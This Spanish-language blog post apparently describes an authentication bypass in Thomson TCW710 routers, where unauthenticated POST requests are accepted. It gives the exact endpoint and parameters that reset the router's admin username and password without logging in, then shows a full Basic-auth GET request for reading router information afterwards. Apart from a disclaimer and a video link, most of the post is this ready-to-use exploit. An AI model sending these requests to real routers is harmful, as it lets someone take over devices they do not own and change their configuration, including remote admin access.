En securitybydefault han publicado un articulo curioso sobre un POC en los routers Thomson TCW710.
Disclaimer:
No me hago responsable del mal uso que pueda darse a esta información o al código de la aplicación que la complementa.
Como todos sabemos, cuando intentas acceder a la configuración del router, te suele saltar la petición de credenciales, y en el caso de que no sean correctos, no puedes acceder. ¿Lógico no?
En el caso de los routers Thomson (voy a generalizar, pero entender que me refiero a esos dos modelos en concreto, no tengo conocimiento de ningún otro), ocurre una situación un tanto curiosa, y es que el sistema únicamente bloquea las peticiones GET, pudiendo seguir realizando POSTS sin ningún problema.
A pesar de que sea un problema importante (pues permite modificar la configuración del router sin necesidad de estar autenticado) es aun peor cuando se comprueba que el software del mismo no pide los credenciales actuales al ir a modificarlos (se entiende que si estas autenticado te la sabes, pero eso ya no es un argumento válido para no añadir una medida más de protección, y más si da la opción de acceder remotamente al panel de administración), por lo que podemos registrar los que queramos (o poner los de fábrica para levantar menos sospechas) y poder acceder mediante la interfaz web.
La petición POST a realizar para modificar los credenciales es:
http://192.168.0.1/goform/RgSecurity
HttpUserId=USER&Password=PASSWD&PasswordReEnter=PASSWD&RestoreFactoryNo=0x00
Una vez realizada la petición, ya podríamos acceder mediante la interfaz web.
En el caso de que quisieramos automatizar tareas y comenzar a realizar peticiones GET para obtener información, hay que añadir en la cabecera Authorization con valor Basic auth_en_b64.
El valor no es más que el usuario y contraseña separados por ‘:’ y codificados en base64. Un ejemplo (el utilizado en la aplicación para obtener la información del router) podría ser:
Petición: http://192.168.0.1/RgSwInfo.asp
Usuario: (vacio)
Contraseña: admin
Auth: :admin –> OmFkbWlu
GET http://192.168.0.1/RgSwInfo.asp
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
X-Behavioral-Ad-Opt-Out: 1
X-Do-Not-Track: 1
Authorization: Basic OmFkbWlu
Cache-Control: max-age=0
¡Hasta aquí todo! Ya para terminar…
Os enlazo el video que publiqué con todo el proceso:
[youtube=http://www.youtube.com/watch?v=KBFfNi_eVOo&feature=player_embedded#!]